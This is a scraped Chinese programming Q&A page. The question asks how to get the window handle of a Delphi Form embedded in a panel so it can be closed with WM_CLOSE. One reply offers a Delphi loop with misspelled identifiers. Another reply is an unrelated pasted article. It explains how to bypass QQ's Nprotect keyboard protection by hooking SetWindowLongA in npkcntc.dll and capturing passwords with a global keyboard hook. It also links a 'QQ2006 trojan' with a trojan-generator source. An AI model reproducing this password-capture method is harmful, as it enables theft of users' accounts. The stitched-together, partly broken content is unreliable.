MyException - 我的异常网
当前位置:我的异常网» Delphi » 100分问个有关问题。关于怎么获取控件句柄的有关问题

100分问个有关问题。关于怎么获取控件句柄的有关问题

www.MyException.Cn  网友分享于:2013-03-31  浏览:15次
100分问个问题。关于如何获取控件句柄的问题。
一个Form被嵌入到一个panel中显示。

现在要发送wm_close消息给这个Form,让他关闭。

问题是:如何才能获取这个Form的窗口句柄?

条件是:不要我传入当初这个Form设计时的类名(例如TFrmMain、TForm1等等)
                不要我传入当初这个Form设计时的窗口名(例如,xx程序等等)

换句话说,如何取得这个Form的父类名(TForm)

------解决方案--------------------
UP
------解决方案--------------------
var
i: integer;
begin
for i := 0 to Panel1.CompnetCount-1 do
begin
if (Panel1.Compnets[i] is TForm)
begin
SendMessage(TWinControl(Panel1.Compents[i]).Handle, WM_CLOSE, 0, 0);
break;
end;
end;
end;
------解决方案--------------------
破解QQ键盘保护的新方法

首先声明我这么做并不是为了盗号,请不要问我任何关于盗号的问题。本人极其痛恨那些盗号的无赖们。
如果你的QQ密码丢了,并且没有申请密码保护,或忘了密码保护,我除了表示同情,并替你痛骂那些盗号的无耻之徒以外别无它法。

其次,我要提醒广大QQ用户,一定要注意管理好自己QQ的密码保护,以便找回密码。不要以为的杀毒软件很厉害,
也不要以为腾讯目前的所谓的“国际领先的Nprotect键盘加密技术”有多强,有密码保护才是正道!!

破解“国际领先的Nprotect键盘加密技术”,对于老版本(QQ2005),前辈们有很多办法了:有直接改写npkcntc.dll的,
有将npkcntc.dll删除,然后hook住LoginCtrl.Dll将带红叉图片的替换为不带红叉的。但似乎那些对于新版本QQ都失效了,
以上两种方法都逃不过LoginCtrl.Dll里面的验证函数,QQ启动会受到阻止。

QQ没有加壳,调试起来真方便,很快我们就可以找到其它的突破口。以下我介绍其中最简单的一种,也是几乎对目前所有版本
的QQ都适用的一种:hook住QQ进程模块儿里的npkcntc.dll函数SetWindowLongA的调用,我们什么都不处理,直接返回0.
说道这里,相信很多高手们都明白了,原来QQ的密码输入框的消息处理函数被定为到npkcntc.dll模块里了,它在这里对密码框的
键盘输入进行加密,然后把加密后的字符在以消息的形式通知给主窗口,我们要做的就是让密码框的消息处理函数根本的不到机会
执行,这样,这窗口处理键盘消息,这样我们加的全局键盘钩子就可以的到想要的键盘输入了。

这里还有个小小的问题,对于hook住npkcntc.dll函数SetWindowLongA的调用,我们什么都不处理,直接返回0,我们确实可以正确得到
用户的输入,得到QQ密码,但是,QQ却提示密码出错(即使你输入的是正确的)。对于这个问题,我有个解决方案,是我无意中
发现的,我说不出原因,因为我的调试技术是初学还不是很精,我把它写出来,希望有人能帮我分析一下,谢谢。

hook住npkcntc.dll函数SetWindowLongA的调用,直接返回0,QQ却提示密码出错问题解决方案如下:
在我们自己的SetWindowLongA中返回0之前,我们创建一个临时的窗体,这个窗体创建并显示(可以在屏幕以外显示,这样就看不见了)后,
立即退出,这样问题就解决了。 其实说白了,大概的意思就是,在调用SetWindowLongA的时候,让输入焦点从QQ的登陆窗口移走。
我不知道为什么需要这样,我是无意中发现的,但确实适用。请达人详解。

附上本人给予以上方法做的一个QQ2006木马:http://www.looksgood.cn/tools/spy/SPYQQ3.zip
其中比较繁琐的是我把dll做成资源了,自己看吧,注意Generator里面是木马生成器的源码。
我从刘麻子的代码那里copy了很多过来,做了修改。在此向他表示致敬。

文章评论

程序员应该关注的一些事儿
程序员应该关注的一些事儿
Java 与 .NET 的平台发展之争
Java 与 .NET 的平台发展之争
为什么程序员都是夜猫子
为什么程序员都是夜猫子
一个程序员的时间管理
一个程序员的时间管理
我跳槽是因为他们的显示器更大
我跳槽是因为他们的显示器更大
初级 vs 高级开发者 哪个性价比更高?
初级 vs 高级开发者 哪个性价比更高?
什么才是优秀的用户界面设计
什么才是优秀的用户界面设计
总结2014中国互联网十大段子
总结2014中国互联网十大段子
鲜为人知的编程真相
鲜为人知的编程真相
亲爱的项目经理,我恨你
亲爱的项目经理,我恨你
做程序猿的老婆应该注意的一些事情
做程序猿的老婆应该注意的一些事情
科技史上最臭名昭著的13大罪犯
科技史上最臭名昭著的13大罪犯
老程序员的下场
老程序员的下场
Java程序员必看电影
Java程序员必看电影
老美怎么看待阿里赴美上市
老美怎么看待阿里赴美上市
旅行,写作,编程
旅行,写作,编程
程序员和编码员之间的区别
程序员和编码员之间的区别
当下全球最炙手可热的八位少年创业者
当下全球最炙手可热的八位少年创业者
要嫁就嫁程序猿—钱多话少死的早
要嫁就嫁程序猿—钱多话少死的早
代码女神横空出世
代码女神横空出世
Web开发者需具备的8个好习惯
Web开发者需具备的8个好习惯
那些争议最大的编程观点
那些争议最大的编程观点
中美印日四国程序员比较
中美印日四国程序员比较
如何成为一名黑客
如何成为一名黑客
如何区分一个程序员是“老手“还是“新手“?
如何区分一个程序员是“老手“还是“新手“?
漫画:程序员的工作
漫画:程序员的工作
我的丈夫是个程序员
我的丈夫是个程序员
程序员都该阅读的书
程序员都该阅读的书
聊聊HTTPS和SSL/TLS协议
聊聊HTTPS和SSL/TLS协议
程序员眼里IE浏览器是什么样的
程序员眼里IE浏览器是什么样的
程序员的鄙视链
程序员的鄙视链
5款最佳正则表达式编辑调试器
5款最佳正则表达式编辑调试器
 程序员的样子
程序员的样子
写给自己也写给你 自己到底该何去何从
写给自己也写给你 自己到底该何去何从
不懂技术不要对懂技术的人说这很容易实现
不懂技术不要对懂技术的人说这很容易实现
团队中“技术大拿”并非越多越好
团队中“技术大拿”并非越多越好
为啥Android手机总会越用越慢?
为啥Android手机总会越用越慢?
“懒”出效率是程序员的美德
“懒”出效率是程序员的美德
程序员周末都喜欢做什么?
程序员周末都喜欢做什么?
程序员最害怕的5件事 你中招了吗?
程序员最害怕的5件事 你中招了吗?
十大编程算法助程序员走上高手之路
十大编程算法助程序员走上高手之路
编程语言是女人
编程语言是女人
程序猿的崛起——Growth Hacker
程序猿的崛起——Growth Hacker
我是如何打败拖延症的
我是如何打败拖延症的
每天工作4小时的程序员
每天工作4小时的程序员
软件开发程序错误异常ExceptionCopyright © 2009-2015 MyException 版权所有